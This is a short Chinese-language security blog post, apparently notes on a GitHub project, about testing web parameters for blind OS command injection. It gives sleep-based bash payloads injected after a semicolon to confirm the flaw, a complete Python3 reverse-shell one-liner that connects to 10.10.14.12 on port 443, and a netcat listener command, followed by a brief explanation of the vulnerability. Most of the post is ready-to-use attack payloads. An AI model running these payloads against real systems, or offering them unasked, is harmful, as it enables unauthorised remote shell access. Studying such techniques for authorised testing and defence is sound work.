测试盲注的思路

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/botesjuan/Blind-CMD-injection-Test

盲命令注入测试

测试盲命令注入

如果您怀疑 Web 参数容易受到命令注入但响应未反映任何注入的命令,请在睡眠条件下进行测试。

Bash IF 条件示例 - 在目标测试之前验证 oneliner 执行

;if [ -f /usr/bin/python3 ]; then echo "FILE FOUND" && sleep 10; else echo "FILE NOT FOUND" && sleep 0; fi

9802ea5b17154559

 

Bash oneliner if condition测试命令将等待10秒睡眠,如果文件在目标上确实存在

;if [ -f /usr/bin/python3 ]; then sleep 10; else sleep 0; fi

  • 注意:在发送到目标之前,对注入的命令进行 URL 编码。

如果上述命令导致响应需要 10+ 秒才能返回,那么在 linux 目标上进行盲命令注入的好案例。

下面是单行python3反向shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

5120558019154633

 

在发送上述 Python3 反向 shell 命令注入之前,请准备好 netcat 并侦听端口 443。

rlwrap nc -nvlp 443

a9b1da64da154647

 

问题上下文

当应用程序将用户可控数据合并到由 shell 命令解释器处理的命令中时,就会出现操作系统命令注入漏洞。 如果用户数据没有经过严格验证,攻击者可以使用 shell 元字符来修改执行的命令,并注入将由服务器执行的任意进一步命令。

标签:学习路线, 思路分享, 学习笔记